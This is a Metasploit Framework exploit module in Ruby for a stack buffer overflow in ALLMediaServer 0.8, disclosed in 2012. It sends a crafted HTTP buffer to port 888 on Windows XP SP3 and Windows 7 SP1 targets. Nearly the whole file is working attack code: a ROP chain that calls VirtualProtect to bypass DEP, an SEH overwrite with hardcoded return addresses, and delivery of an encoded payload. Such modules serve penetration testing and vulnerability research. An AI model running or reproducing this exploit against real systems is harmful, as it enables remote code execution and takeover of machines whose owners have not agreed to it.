##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ALLMediaServer 0.8 Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack buffer overflow in ALLMediaServer 0.8. The vulnerability
				is caused due to a boundary error within the handling of HTTP request.

				While the exploit supports DEP bypass via ROP, on Windows 7 the stack pivoting isn't
				reliable across virtual (VMWare, VirtualBox) and physical  environments. Because of
				this the module isn't using DEP bypass on the Windows 7 SP1 target, where by default
				DEP is OptIn and AllMediaServer won't run with DEP.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'motaz reda <motazkhodair[at]gmail.com>',	# Original discovery
					'modpr0be <tom[at]spentera.com>',	# Metasploit module
					'juan vazquez' # More improvement
				],
			'References'     =>
				[
					[ 'OSVDB', '83889' ],
					[ 'EDB', '19625' ]
				],
			'DefaultOptions' =>
				{
					'ExitFunction' => 'process', #none/process/thread/seh
				},
			'Platform'       => 'win',
			'Payload'        =>
				{
					'BadChars' => "",
					'Space' => 660,
					'DisableNops' => true
				},

			'Targets'        =>
				[
					[ 'ALLMediaServer 0.8 / Windows XP SP3 - English',
						{
							'Ret'       =>	0x65ec74dc, # ADD ESP,6CC # POP # POP # POP # RET - avcoded-53.dll
							'OffsetRop' =>	696,
							'jmp'       =>	264,
							'Offset'    =>	1072
						}
					],
					[ 'ALLMediaServer 0.8 / Windows 7 SP1 - English',
						{
							'Ret'       =>	0x6ac5cc92, # ppr from avformat-53.dll
							'Offset'    =>	1072
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jul 04 2012',
			'DefaultTarget'  => 1))

		register_options([Opt::RPORT(888)], self.class)

	end

	def junk(n=1)
		return [rand_text_alpha(4).unpack("L")[0]] * n
	end

	def nops(rop=false, n=1)
		return rop ? [0x665a0aa1] * n : [0x90909090] * n
	end

	def asm(code)
		Metasm::Shellcode.assemble(Metasm::Ia32.new, code).encode_string
	end

	def exploit
		#with help from mona :)
		rop = [
			nops(true, 12),  #ROP NOP
			0x65f6faa7,      # POP EAX # RETN
			0x671ee4e0,      # ptr to &VirtualProtect()
			0x6ac1ccb4,      # MOV EAX,DWORD PTR DS:[EAX] # RETN
			0x667ceedf,      # PUSH EAX # POP ESI # POP EDI # RETN
			junk,
			0x65f5f09d,      # POP EBP # RETN
			0x65f9830d,      # & call esp
			0x6ac1c1d5,      # POP EBX # RETN
			0x00000600,      # 0x00000320-> ebx
			0x6672a1e2,      # POP EDX # RETN
			0x00000040,      # 0x00000040-> edx
			0x665a09df,      # POP ECX # RETN
			0x6ad58a3d,      # &Writable location
			0x6ac7a771,      # POP EDI # RETN
			nops(true),      # RETN (ROP NOP)
			0x6682f9f4,      # POP EAX # RETN
			nops,            # nop
			0x663dcbd2       # PUSHAD # RETN
		].flatten.pack("V*")

		connect

		if target.name =~ /Windows 7/
			buffer = rand_text(target['Offset'])
			buffer << generate_seh_record(target.ret)
			buffer << payload.encoded
		else
			buffer = rand_text(target['OffsetRop'])	#junk
			buffer << rop
			buffer << asm("jmp $+0x#{target['jmp'].to_s(16)}") # jmp to payload
			buffer << rand_text(target['Offset'] - buffer.length)
			buffer << generate_seh_record(target.ret)
			buffer << payload.encoded
		end

		print_status("Sending payload to ALLMediaServer on #{target.name}...")
		sock.put(buffer)

		disconnect

	end
end
